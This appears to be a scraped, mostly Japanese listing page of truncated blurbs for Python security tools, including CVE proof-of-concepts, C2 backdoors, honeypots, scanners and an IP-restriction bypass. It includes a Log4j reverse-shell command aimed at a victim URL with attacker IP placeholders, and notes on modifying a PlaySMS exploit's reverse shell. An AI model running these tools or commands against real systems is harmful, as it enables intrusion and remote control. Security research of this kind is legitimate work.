CVE-2021-3156

CVE 2021-3156 攻略方法 python2 root@kitploit: $ python pwn.py POC: https://youtu.be/pJFaF7yx0 参考: https://www.kalmarunionen.dk/writeups/sudo/exploitation...

DNS-Persist

DNS-Persist DNS-Persist は、DNS をコマンド&コントロールに使用するポストエクスプロイテーションエージェントです。サーバーサイドのコードは Python で書かれており、エージェントは C++ でコーディングされています。これは最初のバージョンであり、今後さらに多くの機能と改善が追加される予定です。 はじめに 作者 0x09AL - https://twitter.com/0x09al 免責事項 このソフトウェアを違法な目的で使用しないでください。 著作者は、ここで提供されるコードの誤用について一切の責任を負いません。 車輪の再発明をしたのか？ DNS C2...

canisrufus

CanisRufus GitHubをコマンド＆コントロールサーバーとして使用する、ステルス性の高いPythonベースのWindowsバックドアです。 必要条件 Python 2.x pygithub3 module PyCrypto module WMI module Enum34 module Netifaces module pypiwin32 module 機能 暗号化された通信メッセージ AES + SHA256ハッシュ化 システム情報/特性を使用してコンピューターの一意のIDを生成 SHA256ハッシュ ジョブIDはランダムなSHA256ハッシュ システム情報の取得...

hontel

HonTel HonTel is a Honeypot for Telnet service. Basically, it is a Python v2.x application emulating the service inside the chroot environment. Originally it has been designed to be run inside the Ubuntu/Debian environment, though it could be easily adapted to run inside any Linux environment...

hontel

HonTel HonTel はTelnetサービスのハニーポットです。基本的には、chroot環境内でサービスをエミュレートするPython v2.xアプリケーションです。もともとはUbuntu/Debian環境で動作するように設計されていますが、他のLinux環境でも簡単に適応できます。 ドキュメント:...

PyStat

PyStat - Windows向け高度なNetstat Pythonバージョン2.7との互換性 機能 プロセスのリモートアドレスを確認 プロセスのリモートポートを確認 プロセスを使用しているユーザー、タイトル、PIDを確認 変更履歴: install.pyにPythonモジュールの自動インストールサポートを追加 インストールガイド: .zipファイルをダウンロード .zipファイルからpystatフォルダを任意のドライブに展開します。例: C:\tools\pystat C:\tools\pystatに移動し、SHIFTキーを押しながら右クリックして「ここでコマンドウィンドウを開く」を...

CVE-2024-4879

CVE-2024-4879 ServiceNow CVE-2024-4879脆弱性の一括スキャンツール。 概要 このツールは、ServiceNow CVE-2024-4879脆弱性の一括スキャン用に設計されています。Assetnoteのセキュリティリサーチに触発されており、最近のServiceNow CVE-2024-4879、CVE-2024-5178、CVE-2024-5217の脆弱性について詳細に説明しています。 使用方法 最低要件 Python 3.6 以上 requests ライブラリ 単一ターゲット: root@kitploit: python CVE-2024-4879.p...

ms15-034-Scan

ms15-034-scan python3 批量扫ms15-034/CVE-2015-1635漏洞 用法 root@kitploit: python3 ms-socket.py url.txt 自行添加资产到url.txt中 输出result.txt 未加去除http://和https:// 自行记事本ctrl+h替换...

CVE-2025-31486

CVE-2025-31486-PoC.py url image 有关漏洞复现及具体环境搭建的详细信息，请参考：https://chenchena.blog.csdn.net/article/details/147150357?spm=1001.2014.3001.5502...

CVE-2023-24488-PoC

CVE-2023-24488 用 Python & Golang PoC ファイル Twitter@SirBagoza...

CVE-2024-29269

スクリプトのインストールと実行 💻 前提条件 始める前に、以下のツールがマシンにインストールされていることを確認してください： Python 3.x Git pip （Pythonの依存関係を管理するため） インストール手順 1. リポジトリをクローンする gitを使ってリポジトリをクローンします： root@kitploit: git clone git clone https://github.com/dream434/CVE-2024-29269 2. プロジェクトのディレクトリに移動する root@kitploit: cd git clone...

Log4j2-CVE-2021-44228-revshell

Log4j2-CVE-2021-44228-revshell 使用方法 root@kitploit: リバースシェル用: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort 脆弱性確認用: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort $...

XSSCon

Python 3.7で作られた強力なXSSスキャナー インストール 必要条件: BeautifulSoup4 root@kitploit: pip install bs4 requests root@kitploit: pip install requests python 3.7 コマンド: root@kitploit: git clone https://github.com/menkrep1337/XSSCon chmod 755 -R XSSCon cd XSSCon python3 xsscon.py --help 使い方 基本的な使い方: root@kitploit:...

Ducky-Exploit

Ducky-Exploit はじめに Ducky Exploit は、Digispark を Rubber Ducky としてコード化するのに役立つ Python フレームワークです。 このスクリプトは以下でテストされています： Kali Linux 18.2 Ubuntu 18.04 Windows Python2 と Python3 の両方で動作します キーボードサポートタイプ USタイプキーボード 使用方法 root@kitploit: git clone https://github.com/itsmehacker5/Ducky-Exploit.git cd...

CVE-2020-8644-PlaySMS-1.4

CVE-2020-8644-PlaySMS-1.4 PlaySMS 1.4.3 より前のバージョンを悪用するPythonスクリプト 実行 お使いのマシンでポートを開放してください: そして、exploit.py を実行してください: root@kitploit: ./exploit.py エクスプロイトの変更 exploit.py が作成するリバースシェルを変更したい場合があります。 これを行うには、exploit.py の14行目から19行目にある関数 createrevshellencoded を変更します: root@kitploit: def...

SMTPTester

SMTPTester SMTPTesterは、SMTPサーバーを3つの一般的な脆弱性についてテストするPython3ツールです: スプーフィング - 内部ユーザーになりすましてメールを送信する能力 リレー - このSMTPサーバーを使用して組織外の他のアドレスにメールを送信すること ユーザー列挙 - SMTP VRFYコマンドを使用して、特定のユーザー名やメールアドレスが組織内に存在するかどうかを確認する 使い方 まず、必要な依存関係をインストールします: root@kitploit: pip install -r requirements.txt...

Pegasus-Malware-Scan

pegasus-malware-scan 説明 Pegasus Malware Scanは、高度な脅威検出とマルウェア解析のために設計された包括的なサイバーセキュリティソリューションです。Pythonで構築されたこの強力なツールは、多層的な検出技術を採用し、一般的なウイルスから高度な持続的脅威（APT）に至るまで、幅広い悪意のあるソフトウェアを特定・無力化します。 Pegasus Malware Scanとは？ Pegasus Malware...

ipsourcebypass

This Python script can be used to bypass IP source restrictions using HTTP headers. Features 17 HTTP headers. Multithreading. JSON export with --json outputfile.json. Auto-detecting most successful bypasses...

ipsourcebypass

このPythonスクリプトは、HTTPヘッダーを使用してIPソース制限をバイパスするために使用できます。 機能 17個のHTTPヘッダー。 マルチスレッド。 JSONエクスポート（--json outputfile.json）。 最も成功したバイパスの自動検出。 使用方法...

wikipedia-c2

Wikipedia-C2 Wikipedia C2 Blog Post This is a demo project to demonstrate Command and Control utilizing Wikipedia. After Josh Abraham's demo of C2 utilizing Slack and ICMP, I thought I'd explore what other options in the internet's top sites could be used for C2. After reviewing Wikipedia's API, ...